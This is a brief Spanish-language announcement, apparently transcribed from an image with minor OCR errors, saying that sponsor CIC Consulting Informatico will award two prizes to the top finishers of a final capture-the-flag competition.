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‘SORPRESA! Premios en el CTF Final

Gracilas a la colaboracion de |la entidad CIC Consulting
Informatico ofreceremos dos premios a los primeros

puestos de la competicion.

CIC

Consulting
Informatico
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